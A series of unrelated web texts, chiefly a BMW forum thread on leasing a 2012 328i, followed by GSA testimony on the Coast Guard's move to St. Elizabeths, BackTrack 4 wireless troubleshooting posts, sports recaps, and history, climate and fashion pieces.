I am looking for the 3 series 328i. I don't know if xdrive is needed for me or actually what it is.
I would like to save some money so ED is something that i read a little bit but don't know how much I can save and if its worth it?
I am thinking of leasing as reliability is no something BMW is known for so I don't want to be spending $$$$ in repairs.
Since, I am a noob, sorry for my elementary questions.
Can I get a 2012 328 for 3 year lease for around $350/month. I want to be able to keep the payments under $400.
What about insurance, is it very expensive to insure a BMW.
This is all I can think for now, but please add your comments and suggestions as you please.
X-drive is the all wheel drive version of the car.
Insurance is also unique to your situation. Call your insurance agent and ask for a quote.
As for payment go to a BMW dealer and speak with them. They can work out the details and once you have them come back and post them. People with lease experience are always happy to offer advice.
Hi and welcome to the board. Most of us here are enthusiasts more than status seekers so our perspective may be skewed.
Xdrive is BMW's name for their full time four wheel drive system. The standard 328i is rear wheel drive. If you live in a warmer climate you will not need xdrive. It also adds weight and cost.
You can ask more about ED on this site's ED and Ask A Dealer forums. There's a considerable savings but you have to factor in the cost of a trip to Germany.
Leasing is a good alternative and will reduce your monthly payments vs a purchase. Then again you have no equity after the lease ends.
It's going to be difficult to get a 2012 328i for $350.00 month. As the car is a new model for 2012, it may be popular and discounts may be tough to get. You can reduce your monthly payment with a downpayment but we generally do not recommend this as once again you will not get this back at lease end. BMW changes their lease rates and other factors monthly. If you buy at the right time you may get a good interest rate (Money Factor) and residual (the higher the better).
A 328i should not be overly expensive to insure given you are not too young and have a good driving record.
My personal comments are: Yes a BMW is a prestigious car but I don't recommend buying any car just for the prestige. You should have enough self confidence that you don't need the recognition of others. Also, it doesn't make sense to stretch your budget in order to get a nice car. If you can only afford something like a RAV4, perhaps you should stay in that price range. I bought my 328i (2011 model) because I love the way it drives. It's pretty fast, it handles beautifully and is great fun to drive. I don't care what others think and in fact sometimes am self conscious of people making judgements of me based on my car.
truecar.com will give you factory invoice, I'd work off that number, but if you don't plan to vist that site I wouldn't take anything less then 6-9% off MSRP.
ED is European Delivery, where you go to Munich and pick up the car, you drive it around Europe (if you wish) and then it gets shipped to the US, you fly back and several weeks later you pick up the car again. It is cheaper and you get a vacation (if you wish).
Leasing - 2012 lease rates are not out and it is unlikely to be at $350 unless you get the base model with no options. Otherwise it is likely to be between $400-450.
For me as a 36 yo male a 328i was around $100 a month to insure in North Carolina.
Reliability - look at truedelta.com for some reliability data. BMW is around average. My experience with a 2007 328i was excellent, with no issues at all.
Hope this helps.
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Thanks for the responses. I want to clarify something so that you don't misunderstand my meaning. I am 31 and i have reached a point where I am ready to go from regular to luxury and for me if I buy a luxury car, I think of BMW and the status it has. I have no self confidence issue. I have not driven a BMW, so i can't say that I love the way it drives so I am buying it, I am sure once I test drive it that will be the biggest factor for buying a BMW.
Again, thanks for the responses, I live in Delaware, we get snow but only a few days a year so I guess I don't need the xdrive.
I will check with my insurance and find out how much premiums are.
Just wanted to get the feel of the leasing range, coz on tv you see $299 or $349 a month for the bmw lease and then you read that it costs a lost to lease a bmw $600- $700 so I though I would ask here from the people who lease it what has been their experience.
When i go to the dealer, and ask for numbers for the lease, is there anything particular that I need to keep in mind, can we negotiate on lease deals? how do you get around not paying a downpayment?
geico does something where you plug in a vin and will spit you out the quote.
Just did a 55k 2011 new 328 convertible and my premium was $729 (not sure if thats a year or 6 month thing)
Also did a used 550xi with 7k miles and it was $709
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When you see these great lease rates on TV or in ads they require a large downpayment. Not worth it. Also, they may be low mile leases like 10K/year which most will exceed.
The Ask the Dealer forum here is good place to learn about these details.
By the way I lease a 2011 328i which retailed for under $37K and is pretty stripped with a minimal downpayment for 36 months in the mid $400.00 range. You can probably do a bit better but not much.
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I read that the 2012 is releasing in feb 2012. So does that mean its going to be easily available everywhere. Also, I know this might not be a right question on this forum, but I checked the unofficial config and this car pretty quickly gets over $44k. I was just wondering if there are competitors who offer more for less money, if so which cars can be compared Audi Acura Lexus?
new 3 series esp on thats 44K will be 500 a month...worth it imo
your best value is probably to lease a 2011 as it is in the last year of the model production and there should be some good deals. Read up on leasing in the ask a dealer forum. This site is also good as there is a leasing 101 section and a lease calculator as well as lease residuals and money factors.
Educate yourself on the leasing, its takes a little bit of effort but will pay off, otherwise its easy to overpay. Also read up on Multiple Security Deposits on the Ask a Dealer forum, this may be an option for you to reduce your payments although you need to give money to BMW.
Although the 2011 is the best value now to lease. But I somehow like the 2012 so I can wait for a good deal to come along. In the mean time I can do my research and hang out with you guys and educate myself.
Before another day goes by, before you think of any more questions to ask, do yourself a HUGE favor.
Go drive a BMW. Any one will do.
Drive and E90. Then drive a 2012 528i to get a sense of the powertrain. This will be the most important step
in the buying process, without a doubt.
Then, when you are done, please come back and post your impressions here!
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March 3, 2005
Good morning Mr. Chairman and members of the Subcommittee. My name is F. Joseph Moravec, and I am the Commissioner of the Public Buildings Service of the United States General Services Administration. I am pleased to appear before you today and to provide information on the Administration's plan to consolidate District of Columbia elements of the United States Coast Guard at the West Campus of the former St. Elizabeths Hospital in Washington, D.C.
St. Elizabeths West Campus presents a unique opportunity to provide the Coast Guard's headquarters operations with a high-quality, cost-effective facility in the District of Columbia that will support its mission to protect the public, the environment, and U.S. economic interests. The site is the only asset under GSA's control in Washington, DC that has the development capacity to meet the needs of agencies with large housing requirements. It is a 182-acre urban campus 2½ miles from the U.S. Capitol and easily accessible from the District's central employment area. GSA acquired the property to help satisfy the substantial demand for Federal workspace in Washington.
Over the next 10 years, 10 Federal agencies with large space requirements will need approximately nine million square feet of office space. GSA estimates that St. Elizabeths could accommodate more than three million gross square feet of combined existing and new construction. Furthermore, St. Elizabeths combines the proximity and convenience of an urban site with the size and topography to meet Federal security requirements.
The Coast Guard is currently housed in several leased locations within the District of Columbia that are no longer suitable for its needs. The largest of these is the 32-year-old, 725,000-gross-square-foot Transpoint Building at Buzzard Point, which the owner intends to renovate. The building's condition is marginal. Also, as the building is located on the banks of the Anacostia River, it is vulnerable to floods. Coast Guard operations were hampered during Hurricane Isabel due to the flooding of the buildings underground parking. Furthermore, the agency has outgrown its current locations. As the lease of the Transpoint Building expires in FY 2008, this is an opportune time to develop a housing solution for the Coast Guard that will provide for the consolidation of its workforce and meet its specific space requirements.
By consolidating activities in the District of Columbia at the St. Elizabeths site, the Coast Guard will gain operational efficiencies and ensure continuity of its national security functions. Since the Federal Government owns St. Elizabeths, we do not need to request funding for site acquisition. Our analysis for this proposal shows that the cost of new construction and renovation over a 30-year horizon is less than the cost of leasing space. Thus, relocation to St. Elizabeths will not only consolidate the Coast Guard's headquarters functions in the District of Columbia; it will provide an effective space solution for the agency and will facilitate the careful management of Federal assets. The President's Budget for Fiscal Year 2006 proposes $13.1 million in funding for the rebuilding of the West Campus infrastructure including studies and design. In addition, the design prospectus supporting the budget request seeks authority for $25 million for the design of the new U.S. Coast Guard headquarters at St. Elizabeths. The proposal provides for the consolidation of approximately 4,000 employees in approximately one million gross square feet of space – which may take the form of a combination of new construction and the renovation of existing buildings to meet the Coast Guard's District of Columbia space requirements. The total project (design and construction) is currently estimated at more than $300 million.
We are working with the Coast Guard to finalize its program of requirements and hope to submit a proposal to Congress for construction funds in FY 2007. We also are developing, with the Coast Guard, a plan for occupancy beginning in FY 2010. Complete development of the site, with other Federal tenants, could be as early as FY 2014. Once these programmatic requirements are finalized, GSA's Design Excellence program will allow the country's leading architects to compete to design a world-class Coast Guard Headquarters.
As I mentioned, one of the attractions of the St. Elizabeths site is its size. It can accommodate more than three million plus square feet of space, sufficient to house several Federal agencies in addition to the Coast Guard. The National Capital Region is getting ready to do a master plan for the reuse of the St. Elizabeths West Campus and will identify additional Federal tenants, which would be compatible with the site, the Coast Guard and the community.
St. Elizabeths is an important asset in the government's real estate portfolio. It has very significant potential to serve the Federal real estate needs and it will provide an opportunity for the Federal Government to create a world class headquarters for the United States Coast Guard and other major agencies in an urban Federal campus, and an opportunity to reuse a historic Federal facility. Through redevelopment of the St. Elizabeths site for the headquarters of the United States Coast Guard, the Federal Government can leverage its real estate investment to ensure efficient and effective asset management and provide a state-of-the-art facility for a major Federal agency.
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ifconfid eth0 (or whatever) up
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KNetworkManager will not connect to any network, secured or open. I ran ifconfig wlan0 up, /etc/init.d/network start, and /etc/init.d/NetworkManager start. I added a connection, put in the key, and it just gets stuck on the little gear icon and says state:configuration. Then it just disconnects, again this happens to all networks, I cannot connect to anything. I have a Linksys WMP54G with a RT2500 chipset, it worked perfect in BT3. What seems to be the problem in BT4?
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@op: yea that happens from time to time with me too. its weird, i blame KNetworkManager. theres two solutions, get the pre-final release as it has WICD which is much better or you can try and connect to the networks through CLI.
@Focaccia: no offense but that has to be one of the most useless replys ive read. it seems as if you didnt even read what the poster was saying. for one hes working with WIRELESS, second thats wht the network scripts does. being wrong is one thing but if you are gonna post an answer atleast put some effort into reading the question.
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American Horror Story vixen Angela Bassett stopped by the Breyers Gelato Indulgences gift lounge backstage at The 2014 Film Independent Spirit Awards on Saturday and dished about her perfect date night, which includes "being comfy in my pj's with snacks that are a little sweet, a little salty and a little crunchy." (Angela Basset with the new Breyers Gelato Indulgences.)
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The Oklahoma Land Run
A gunshot fired. A cannon roared. Horses startled and wagons sprang to life. On April 22, 1889, settlers flooded into the region of central Oklahoma known as the Unassigned Lands. President Benjamin Harrison signed a proclamation on March 23, 1889, opening the land and people came from across the country to claim it. According to the Homestead Act of 1862, if a settler could stay on the land he claimed for five years and improve it, it would be his free and clear. Some people were very excited about the 1889 Land Run and were ready to try to make a new life in Oklahoma Territory. There were people, however, who did not want new settlers to come into the territory.
This exhibit will show the 1889 Land Run from the perspectives of five different players: David Payne, leader of the Boomer movement; Lew Carroll, a settler who came to stake a claim but was unsuccessful until a later Land Run; American Indians who were placed on agencies and whose land was allotted and taken from traditional communal control to create the Unassigned Lands; Elias Boudinot, a Cherokee man who welcomed white settlers for his own economic gain; and the women who had to set up households on the prairies using little but what they had in their wagons or strapped to their horses.


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Richard Littlemore | August 7, 2012
By Richard Littlemore • Tuesday, August 7, 2012 - 14:17
As the extent of Arctic sea ice declines to levels unrecorded since satellite monitoring began, the National Snow and Ice Data Center has released a new analysis that shows the situation to be worse by far than even the most pessimistic models predicted.
It's a perverse endorsement of one of the most popular denier memes - that you can't rely on climate models because the world is too complicated to be reduced to a compilation of computer data. But, thanks to the expertise (and conservative nature) of the scientists behind this work, the models have shown the direction with perfect accuracy: it's the terrifying extent that they have failed to anticipate.
In addition to the catastrophic conditions currently prevailing in the Arctic, the NSIDC has also drawn attention to the dramatic melting occurring this year in Greenland. And all this is supported and reinforced by the Polar Science Center's ongoing calculation of Arctic ice volume.
The trends are all down. Or as James Hansen put it in the Washington Post last week, "Climate change is here - and it's worse than we thought."
Clear graphics and the latest data...
are regularly posted on the Arctic Sea Ice Blog, run by one Neven Acropolis.
While Neven is not a scientist himself, he is level-headed and puts out some of the most up-to-date and relevant information on Arctic sea ice.
This year looks to be headed for record area and volume minimums, with sea ice potentially retreating to > 80 degrees North.
A major chunk of ice pack, connecting the Berents sea to Siberia, has broken loose of the main ice cap, leaving an awful lot of open ocean. It leaves me to wonder how this may affect ocean currents between the Arctic and the Pacific as well as Northern Hemisphere weather patterns. The breakup of ice last summer led to the weird weather that Europe has experienced this past year (and arguably, to the blocking highs that have driven this summer's North American heat wave and drought).
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Smoak snag saves M's from Texas rally in 6-5 win - April 25, 2014
Justin Smoak #17 of the Seattle Mariners hits a two-run double in the eighth inning against the Texas Rangers at Safeco Field on April 25, 2014 in Seattle, Washington. (Photo by Otto Greule Jr/Getty Images)
Seattle, WA (SportsNetwork.com) - Justin Smoak stroked the go-ahead two-run double in the eighth inning and made the game-saving catch in the ninth to send the Seattle Mariners to a 6-5 win over the Texas Rangers to open a three- game series.
The Mariners nearly wasted a 6-3 lead in the ninth. Fernando Rodney walked Michael Choice and Elvis Andrus, back-to-back, with the bases loaded and one out. Adrian Beltre, who was just activated off the disabled list Friday, then lined a ball destined for the right-field corner, but Smoak made the diving stop. Choice was frozen by the incredible play and Smoak tagged the base for the game-ending double play and secured Rodney's fourth save.
Robinson Cano hit a two-run double for the Mariners, who have won two in a row following an eight-game skid. The only other time Seattle won consecutive games came during a 3-0 start.
Yoervis Medina (1-1) pitched one inning to get the win.
Prince Fielder had two hits and scored once for the Rangers, who lost for the second time in 10 games.
Neal Cotts (1-2) loaded the bases on a single by Cano, a walk to Corey Hart and a bunt hit by Stefen Romero. Smoak then doubled to left, just beyond the reach of Choice. Kyle Seager hit a bloop single to left to plate Romero.
Alexi Ogando entered from the bullpen and uncorked a wild pitch to make it a three-run cushion.
J.P. Arencibia scored on a wild pitch in the third, and the Rangers moved to a 2-0 lead in the fourth when Beltre doubled to center to plate Andrus.
The Mariners tied it in the fifth on Cano's two-run double to left, but Fielder made it 3-2 Texas in the sixth when he scored on a wild pitch from Dominic Leone.
Rangers starter Robbie Ross Jr. pitched the first six innings and Seattle's Roenis Elias fanned six over the opening 5 2/3 frames.
Game Notes
The Rangers made room for Beltre on the roster by placing third baseman Kevin Kouzmanoff on the DL with lower back tightness ... The Rangers went 0-for-6 with men in scoring position ... Beltre had been on the DL since April 13 with a strained left quad ... Rodney threw 27 pitches with only 13 strikes.


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Can Furiós is a short drive from some of the island's most spectacular beaches and from fascinating mountain villages untouched by modern development. Should you wish to explore further, the colourful and historic city of Palma, is a mere 40 minutes by car.
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text: April 7 2007 – Live from the Toyota Center in Houston, Texas, UFC 69 was the first UFC event ever held in the state of Texas. The card was headlined by heavy favorite Georges St. Pierre defending his welterweight title against The Ultimate Fighter 4 welterweight winner Matt Serra. The co-main event was a rematch held between top welterweight contenders Josh Koscheck and Diego Sanchez Under Card Welterweight bout: Luke Cummo vs. Josh Haynes Welterweight bout: Marcus Davis vs. Pete Spratt Middleweight bout: Thales Leites vs. Pete Sell Heavyweight bout: Heath Herring vs. Brad Imes Main Card Middleweight bout: Kendall Grove vs. Alan Belcher Middleweight bout: Yushin Okami vs. Mike Swick Lightweight bout: Leonard Garcia vs. Roger Huerta Welterweight bout: Josh Koscheck vs. Diego Sanchez Welterweight Championship bout: Champion Georges St. Pierre vs. Matt Serra


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Centennial Series: Arizona Military Milestones
The military has played an enormous role in shaping the first 100 years of Arizona's history.
Here are some of the Arizona military personalities, places and things that have left their mark on the state's history:
Lori Piestewa (1979-2003)
Piestewa was the first Native American woman to die in combat for the United States military and the first woman in the U.S. armed forces killed in the 2003 invasion of Iraq. She was a member of the 507th Maintenance Company whose unit was ambushed. Piestewa was awarded the Purple Heart and Prisoner of War Medal. The army posthumously promoted her from Private First Class to Specialist. Arizona's state government renamed Squaw Peak in as Piestewa Peak in her honor.
Pat Tillman (1976-2004)
The former Arizona Cardinals football player died while serving in the U.S. Army's 75th Ranger Regiment in Afghanistan. The Pat Tillman Foundation was established in his honor to support veterans and their families by providing resources and scholarships. Before joining the Cardinals, Tillman was an ASU graduate and star player for the Sun Devils.
Ira Hayes (1923-1955)
Pima Indian Ira Hayes of Sacaton was a World War II soldier in the U.S. Marine Corps. He is one of the six flag raisers depicted in the Iwo Jima Memorial in Washington D.C. The Ira Hayes Memorial Park in Sacaton was established in his honor.
Barry Goldwater (1909-1998)
During WWII, Goldwater joined the U.S. Air Force as a pilot assigned to the Ferry Command, a unit that flew aircraft and supplies globally. He flew overseas between the U.S. and India, later contributing to the development of the United States Air Force Academy. He remained in the reserves after the war and retired as a command pilot with the rank of Major General. The Barry M. Goldwater Range in Yuma was named in his honor.
John McCain
The U.S. Senator served 22 years in the military after graduating from the U.S. Naval Academy. He became a naval aviator, flying ground-attack aircraft from aircraft carriers. During the Vietnam War, he was almost killed in the 1967 USS Forrestal fire. In October 1967, while on a bombing mission over Hanoi, he was shot down, seriously injured, and captured by the North Vietnamese. He was a prisoner of war until 1973, and was beaten and denied adequate medical treatment. McCain retired from the Navy in 1981, and was awarded the Silver Star, Bronze Star, Legion of Merit, Distinguished Flying Cross and the Purple Heart.
USS Arizona (BB-39)
Launched June 19, 1915, the USS Arizona was the second and last of the Pennsylvania class of "super-dreadnought" battleships. Arizona served stateside during World War I. The ship is mostly remembered because of its sinking, with the loss of 1,177 lives, during the Japanese attack on Pearl Harbor on December 7, 1941, the event that provoked the United States into entering World War II. A memorial was dedicated May 30, 1962 as part of the Pacific National Monument.
Navajo Code Talkers
They participated in every assault the U.S. Marines conducted in the Pacific from 1942-1945. Navajo code talkers served in all six Marine divisions, transmitting messages in a code that the Japanese were unable to break. The complexity of the Navajo language made for an ideal and indecipherable code.
The "Bushmasters" of the South Pacific was the Arizona National Guard unit that gained fame in WWII. It battled Apache Indians, Spaniards, Germans and Japanese over a 102-year period. The group was originally formed from a collection of five companies that defended Arizona territory from Apache Indians.
Military technology
Arizona has made a name for itself when it comes to innovation in military technology. The Apache Longbow, produced by Boeing in Mesa, is the world's most advanced combat helicopter. Lockheed Martin in Goodyear is a global company that provides aerospace technology worldwide. The manufacturing and integration of spacecraft hardware, software and ground-support equipment is provided by Spectrum Astro, located in Gilbert. Raytheon Missile Systems in Tucson is awarded military contracts worth millions of dollars annually. General Dynamics C4 Systems in Scottsdale routinely earns military communications contracts, also in the millions of dollars.
Military bases
Air Force
Luke Air Force Base
Located in Maricopa County, Luke employs more than 8,000 personnel and covers 4,200 acres. It is home to the largest fighter wing in the world, the 56th Fighter Wing. It is also the largest and only active-duty F-16 Fighting Falcon training base in the world.
Davis-Monthan Air Force Base
Located in Tucson, Davis-Monthan Air Force Base is home to the A-10 Thunderbolt II, more commonly known as the "Warthog." The A-10 was used in combat for the first time during the Gulf War in 1991, destroying more than 900 Iraqi tanks, 2,000 military vehicles, and 1,200 artillery pieces.
Williams Air Force Base
This former base in Mesa allowed more than 26,500 men and women to earn their wings. It broke ground for its Advanced Flying School on July 16, 1941. Williams Air Force Base closed in 1993, resulting in the loss of $300 million in annual economic activity. It reopened in 1984 as a regional, commercial airport known as Phoenix-Mesa Gateway Airport.
Fort Huachuca
Home of the U.S. Army Intelligence Center and U.S. Army Network Enterprise Technology Command in Sierra Vista, Fort Huachuca was declared a national landmark in 1976. It is the headquarters of the Army Military Affiliate Radio System, Joint Interoperability Test Command and Electronic Proving Ground.
Yuma Marine Corps Air Station
This air station specializes in air-to-ground aviation training for U.S. and NATO forces. In 1990, almost every Marine that participated in Operations Desert Shield and Desert Storm trained at Yuma. The Tactical Aircrew Combat Training System was added to provide realistic combat training electronically.
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Using a sharp knife or a corn cutting device, remove corn from the cob.
Pack the corn into freezer-safe containers—be sure to label and date each container so you know what it is and when it's from. Then tuck the containers of corn into your freezer and wait. On a cold day in winter you'll thank yourself for taking the time to blanch and freeze your corn. Enjoy!


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Brookfield, Ill. - Four Brevard College football players were recognized on the 2011 Don Hansen All-Super Region Two Team, as announced today by the Don Hansen Football Committee.
Senior linebacker Prince Simunyu, freshman fullback Jack Woerner, junior punter Eric Watts and sophomore slot back Kelvin Jeter were all selected to this prestigious team.
Simunyu was selected as a First Team Linebacker after leading the South Atlantic Conference in tackles on the season with 111 stops in his senior campaign, finishing up his career earning All-Conference honors three times and was a First Team All-SAC linebacker in each of the last two years.
Woerner was selected as a Second Team Fullback, while Watts was selected as a Second Team Punter. Woerner finished up his freshman campaign second on the team with 517 rushing yards, averaging 51.7 yards per game and three rushing touchdowns. He also averaged 4.3 yards per carry. Watts led the South Atlantic Conference and finished 12th in the nation in averaging 41.6 yards per punt attempt.
Jeter was selected as the Third Team All-Purpose player after finishing third in the South Atlantic Conference player in averaging 120.8 yards per game. Jeter gained 517 rushing yards, 59 receiving yards and led the conference with 753 kick return yards to accumulate 1,329 yards on the season.
The Don Hansen team carries out the legacy of long-time small college football advocate Don Hansen, who passed away at age 75 on Aug. 29, 2010. Hansen, from Brookfield, Ill., started and published Don Hansen's National Weekly Football Gazette for three decades, selecting NCAA Division II All-America teams for the first time in 1988. Don Hansen's Football Gazette began selecting Division II All-Region squads in 2003.
The first-team and second-team All-Region selections advance to a national ballot from which the 2011 Don Hansen NCAA Division II All-America team will be named later this month.


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J.W. Anderson Fall 2014
Just as J.W. Anderson has been invested in by the French luxury conglomerate LVMH (it's taken a minority stake) and been taken on as creative director of Loewe, he's been thinking anti-luxe aesthetics as the starting point for his fall collection: the work of the sculptors and painters of the British postwar austerity years. "I was reading a book about the painter Graham Sutherland, who said, 'you have to destroy in order to gain,'" he explained backstage to a post-show audience that may or may not be familiar with the English modernist movement of the forties and fifties and the oeuvres of Henry Moore and Barbara Hepworth. Anyway: not to worry. The short explanation of his collection is that this young designer is still in the phase of his career in which he's not afraid to experiment. In this case, with abstract cutting and a feeling he describes as "something more grounded. Muddy textures. The imperfect."
Well, clear aside the intellectual references for a minute, and what you'll see is the shift in the silhouette—the ankle-length skirts, exaggerated, cap-sleeve tops, and the odd, flat, wrapped slipper-like shoes which go with them. Anyone with a quick eye for the main JWA purchase would immediately zoom in on the skirts—elongated A-lines which sit just below the navel and end just above the ankle. You'd have to be a full-time radical conceptualist to want to wear the total look, but styled with a boot or another sort of heel, those skirts have fashion-legs. Try as he might, Anderson can't completely disguise his primary talent for identifying a commercial bestseller.
Still, you have to admire the nonconformist impulses of a young designer who wants to push himself toward new forms of expression. Since last fall, he's designed a menswear collection; a pre-fall collection; traveled between London, Paris, and Madrid; and prepared the relaunch of Loewe for spring 2015. If his essay in "imperfection" wasn't perfect in some aspects of its fit, this was a collection that shows the courage of self-conviction—and quite enough to keep the fashion world talking.


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Zimmerman Gets $9K Bail, Is $2.5M in Debt
(NEWSER) – George Zimmerman was today granted bail in the amount of $9,000 in relation to yesterday's allegeddomestic violence incident, the Orlando Sentinel reports. The order came with restrictions: no contacting his girlfriend in any way (meaning he can't return to the house they shared), he must surrender his guns and ammunition, and he must wear a GPS monitor. ABC News reports his lawyers expect him to be out tomorrow. The state had requested bail be set at $50,000, and made this revelation in the course of doing so: It claims girlfriend Samantha Scheibe suffered domestic violence once previously at the hands of Zimmerman, during which he tried to strangle her; she didn't report it.


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Amerks' season will start fast (Rochester D&C)
Archives for August 2007
Wednesday's Rochester Coverage
Amerks retain Cunneyworth
'"We view it as good news for the Buffalo Sabres," Regier said. "From my perspective it is very important. He's been very successful on the development front."'
Forbes: Sabres branding efforts paying off
'Forbes magazine, in a ranking of 122 franchises in the NHL, National Football League, Major League Baseball, and National Basketball Association, said the Sabres are hockey's biggest success story. The team's brand value has increased 53 percent to $16 million.'
Best NHL city: Buffalo
'If the NHL posted numbers one-tenth as good across the U.S. as it does in Buffalo it would be giddy. Gary Bettman would Riverdance from Erie to Ontario.'
Thursday's Rochester Coverage
Amerks captain Smith will play in Germany (Rochester D&C)
Sabres' salaries are sky high
'"It's a reflection of the marketplace that has become costlier," Regier said. "The other part is some of our younger players are maturing and performing at a higher level, and that's reflected in their salary."'


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Weber Announces the Signing of Neville Fincher
Weber Announces the Signing of Neville Fincher
April 18, 2013
MANHATTAN, Kan. – Kansas State head coach Bruce Weber announced today that Neville Fincher has signed a National Letter of Intent with the Wildcat basketball program, joining fellow signees Marcus Foster (Wichita Falls, Texas/Hirschi), Wesley Iwundu (Houston, Texas/Westfield) and Jevon Thomas (Queens, N.Y./St. John's [Wis.] Northwest Military Academy) as members of the 2013 recruiting class.
A 6-foot-9, 240-pound forward Fincher, who will be a freshman in the Fall of 2013 with the three other signees, comes to K-State from powerhouse Hargrave Military Academy in Chatham, Va. He averaged 12 points, eight rebounds and four blocks for head coach A.W. Hamilton in 2012-13, as the Tigers posted a 38-8 overall record. He is rated as the No. 26 center prospect in the Class of 2013 by ESPN.
"We're pleased to welcome Neville to K-State," said Weber. "With the loss of Jordan (Henriquez) to graduation, it was important for us to sign a big guy with size and length. He has great timing for shot blocking and we think he can be a very good rebounder. He comes from a very talented prep school team at Hargrave, which has produced multiple Division I players. Even on this talented team, he found his niche whether it was blocking shots, rebounding or setting screens to help his team be successful."
Fincher played alongside four other Division I signees at Hargrave Military Academy, including Donte Clark (Virginia Tech), Anton Gill (Louisville), Greg McClinton (Wake Forest) and Terry Rozier (Louisville). He collected four double-doubles on the season, including a 14-point, 13-rebound and 2-block effort in a 135-117 three-overtime win over No. 3 Kiski Prep on Dec. 3, 2012. He also tallied 12 points and 10 rebounds in a win over Mt. Zion Academy on Oct. 28 and 11 points and 11 rebounds against the University of Charleston on Dec. 17.
Fincher graduated from Teaneck High School in Teaneck, N.J., in 2012, where he was a four-year lettermen for the Highwaymen. As a senior, he led Teaneck to a 31-1 overall record and its third consecutive NJSIAA North Jersey Section 1 Group 3 Championship in 2011-12. He averaged team-bests in both rebounding (10.7 rpg.) and blocks (4.7 bpg.) to go with 9.3 points per game en route to earning Third Team All-Bergen County honors. The Highwaymen posted a 113-8 record during his four-year career.
Led by 2013 Big 12 Coach of the Year Bruce Weber, Kansas State enjoyed one of its best men's basketball season in 2012-13, posting a 27-8 overall record and 14-4 mark in league play en route to its first-ever Big 12 regular season championship and a fourth consecutive trip to the NCAA Tournament. The 27 wins were the second-most in school history, while the 14 in league play tied the school record held by the 1958-59 team. The league championship was the 18th in school history and the first since the 1976-77 season.
The Wildcats will return nine lettermen in 2013-14, including three starters, highlighted by All-Big 12 Second Team selection Angel Rodriguez and honorable mention honoree Shane Southwell. With the addition of Fincher to their class, the team has two scholarships remaining for the 2013-14 season.


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The Tornados received a bid to the tournament after a coin toss broke the tie between Brevard and Mars Hill.
Carson-Newman went 6-1-1 in conference play for its second straight title. The Eagles, 15-2-1 overall, are the defending Food Lion SAC Tournament champions. Carson-Newman will face
Brevard (0-6-1 SAC, 6-11-1 overall), tied with Mars Hill for eighth place in the league standings. Because Brevard and Mars Hill tied during their regular-season matchup, and no other tiebreaker could be used to break the tie, conference representatives held a coin flip on Saturday. Mars Hill, which scored seven goals in conference action to Brevard's five goals, was asked ! ! to call heads or tails. Mars Hill called for heads, and the coin landed tails, giving the tiebreaker to Brevard.
Newberry, 13-4-1 overall, will face sixth-seed
Catawba (5-2-1, 12-4-2) is the fourth seed and will host fifth-seed Wingate (4-3-1, 11-3-3) in a quarterfinal match on Wednesday. Catawba has advanced to the tournament championship match each of the past three years, but has lost the tournament title in a penalty kick shootout each time. Catawba defeated Wingate 2-0 in their meeting on October 3.
Quarterfinal start times will be announced by the host school.
Quarterfinal winners advance to the tournament semifinals, which will be held at Manchester Meadows Soccer Complex in
The women's tournament championship will be Sunday, November 8 at 4 p.m. at Manchester Meadows Soccer Complex.
Admission to all Food Lion South Atlantic Conference tournament events is $5 for adults and $2 for college students and children.
Wednesday, November 4
Food Lion SAC Tournament quarterfinals
At higher seed
No. 8 Brevard at No. 1 Carson-Newman, TBA
No. 7 Lincoln Memorial University at No. 2 Tusculum, TBA
No. 6 Lenoir-Rhyne at No. 3 Newberry, TBA
No. 5 Wingate at No. 4 Catawba, TBA
Friday, November 6
Food Lion SAC Tournament Semifinals
At Manchester Meadows, Rock Hill, SC
Brevard / Carson-Newman winner vs. Wingate / Catawba winner, 3 p.m.
Lincoln Memorial / Tusculum winner vs. Lenoir-Rhyne / Newberry winner, 3 p.m.
Sunday, November 8
Food Lion SAC Tournament Championship
Semifinal winners, 1 p.m.